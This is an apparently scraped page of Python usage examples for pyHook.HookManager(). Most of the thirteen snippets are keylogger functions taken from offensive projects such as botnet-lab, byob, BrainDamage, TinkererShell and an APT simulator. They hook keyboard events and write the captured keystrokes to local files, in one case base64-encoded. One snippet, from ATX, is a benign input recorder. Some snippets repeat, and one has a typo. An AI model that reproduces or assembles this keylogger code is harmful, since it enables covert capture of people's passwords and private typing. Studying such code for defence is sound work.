Python pyHook.HookManager() Examples

The following are 13 code examples for showing how to use pyHook.HookManager(). These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.

You may check out the related API usage on the sidebar.

You may also want to check out all available functions/classes of the module pyHook , or try the search function .

Example 1
Project: hack4career   Author: mertsarica   File: apt_simulator.py    License: Apache License 2.0 6 votes vote down vote up
def keylogger():
	if console:
		print "* Logging key events... (press enter to escape)"
		
	def OnKeyboardEvent (event):
		keys = ""
		full_path = os.path.realpath(__file__)
		path, file = os.path.split(full_path)
		path = path + "\keylogs.txt"
		keyfile = open(path, "a")
		key = chr(event.Ascii)
		if event.Ascii == 13:
			key = "\n"
			hook.UnhookKeyboard()
			if console:
				print "* done\n"
			main()

		keys = keys + key
		keyfile.write(keys)
		keyfile.close()
		 
	hook = pyHook.HookManager()
	hook.KeyDown = OnKeyboardEvent
	hook.HookKeyboard()
	pythoncom.PumpMessages() 
Example 2
Project: botnet-lab   Author: jpdias   File: keylogger.py    License: MIT License 6 votes vote down vote up
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys 
Example 3
Project: Effective-Python-Penetration-Testing   Author: PacktPublishing   File: pyHookKeyLogger.py    License: MIT License 5 votes vote down vote up
def OnKeyboardEvent(event):
	 logging.basicConfig(filename*file_log, level=logging.DEBUG, format='%(message)s')
	 chr(event.Ascii)
	 logging.log(10,chr(event.Ascii))
	 return True

#instantiate HookManager class 
Example 4
Project: Lo0sR   Author: invasi0nZ   File: Lo0sR.py    License: MIT License 5 votes vote down vote up
def keylogger(self):
        obj = pyHook.HookManager()
        obj.KeyDown = self.keydown
        obj.HookKeyboard()
        obj.HookMouse()
        pythoncom.PumpMessages() 
Example 5
Project: byob   Author: malwaredllc   File: keylogger.py    License: GNU General Public License v3.0 5 votes vote down vote up
def _run_windows():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        if abort:
            break 
Example 6
Project: byob   Author: malwaredllc   File: keylogger.py    License: GNU General Public License v3.0 5 votes vote down vote up
def _run():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        time.sleep(0.1)
        if abort:
            break 
Example 7
Project: byob   Author: malwaredllc   File: keylogger.py    License: GNU General Public License v3.0 5 votes vote down vote up
def _run_windows():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        if abort:
            break 
Example 8
Project: byob   Author: malwaredllc   File: keylogger.py    License: GNU General Public License v3.0 5 votes vote down vote up
def _run():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        time.sleep(0.1)
        if abort:
            break 
Example 9
Project: ATX   Author: NetEaseGame   File: windows.py    License: Apache License 2.0 5 votes vote down vote up
def __init__(self, device=None, workdir='.'):
        super(WindowsRecorder, self).__init__(device, workdir)
        self.watched_hwnds = set()
        self.kbflag = 0
        self.hm = HookManager()
        self.hm.MouseAllButtons = self._hook_on_mouse
        self.hm.KeyAll = self._hook_on_keyboard 
Example 10
Project: darkc0de-old-stuff   Author: tuwid   File: server.py    License: GNU General Public License v3.0 5 votes vote down vote up
def keyit(self):
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyBoardEvent
        self.hm.HookKeyboard()
        pythoncom.PumpMessages() 
Example 11
Project: TinkererShell   Author: 4n4nk3   File: TinkererShell.py    License: GNU General Public License v3.0 5 votes vote down vote up
def keylogger(fd_temp_key: int):
    """Key logger thread.\n"""

    def OnKeyboardEvent(event):
        """"Define action triggered when a key is pressed.\n"""
        if not thr_block.isSet():
            if event.Ascii != 0 or 8:
                # Use base64 and not an encryption just for performance
                with open(keylogfile, 'r+b') as f_key:
                    data_decoded = b64decode(f_key.read()).decode('utf-8')
                    f_key.seek(0)
                    if event.Key == 'space':
                        data_decoded += ' '
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'BackSpace':
                        data_decoded += '[BackSpace]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Return':
                        data_decoded += '[Enter]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_L':
                        data_decoded += '[Shift_L]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_R':
                        data_decoded += '[Shift_R]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Tab':
                        data_decoded += '[Tab]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    else:
                        data_decoded += event.Key
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
        if thr_exit.isSet():
            os.close(fd_temp_key)
            hm.cancel()
        return True

    # create a hook manager
    if platform == 'windows':
        hm = pyHook.HookManager()
    else:
        hm = pyxhook.HookManager()
    # watch for all mouse events
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    if platform == 'windows':
        pythoncom.PumpMessages()
    else:
        hm.start()


# ================================================================================================= 
Example 12
Project: BrainDamage   Author: mehulj94   File: RadiumKeylogger.py    License: Apache License 2.0 5 votes vote down vote up
def hookslaunch():
    print '[*] Starting keylogger'
    a = Keylogger()
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = a.OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages() 
Example 13
Project: FleX   Author: Pure-L0G1C   File: keylogger.py    License: MIT License 5 votes vote down vote up
def keystrokes(self):
  hm = pyHook.HookManager()
  hm.KeyDown = self.pressed
  self.keylog = True
  hm.HookKeyboard()  
  while self.keylog:
   try:pythoncom.PumpWaitingMessages()
   except:pass
  else:hm.UnhookKeyboard()